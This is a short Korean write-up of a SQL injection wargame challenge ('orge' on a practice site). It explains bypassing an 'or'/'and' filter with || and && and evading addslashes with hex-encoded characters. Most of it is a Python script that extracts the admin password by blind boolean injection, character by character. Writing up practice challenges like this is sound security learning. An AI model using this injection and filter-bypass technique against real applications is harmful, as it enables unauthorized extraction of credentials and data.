or, and가 필터링되어 있기 때문에 ||, &&를 이용하면 되고, addslashes 함수를 통해 ', ", \, Null 바이트를 사용하지 못하게 치환하기 때문에 문자열은 Hex 값으로 넘겨주면 우회가 된다.
import requests, string, itertools
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
headers = {'Cookie': 'PHPSESSID=vu81ckm9savbopm00mj0sj2b9i'}
def pwLength():
for num in range(1, 100):
parameter = f"?pw='||LENGTH(pw)={num}%23"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print(f'pw의 길이 >>>>', num)
break
def pwParser():
result = ''
for num in range(1, 8+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
parameter = f"?pw='||SUBSTR(pw,{num},1)={hex(ord(s))}%23"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
result += s
break
print('----------------------------------')
print(result)
pwLength()
print('----------------------------------')
pwParser()
다행히 이번 문제는 orc 문제처럼 여러개의 pw를 저장하지 않았다. 그 때문에 시간을 많이 절약할 수 있었다.